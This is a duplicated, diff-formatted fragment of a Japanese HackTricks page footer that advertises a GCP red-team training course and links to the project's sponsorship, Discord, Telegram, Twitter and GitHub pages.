GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -62,7 +76,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}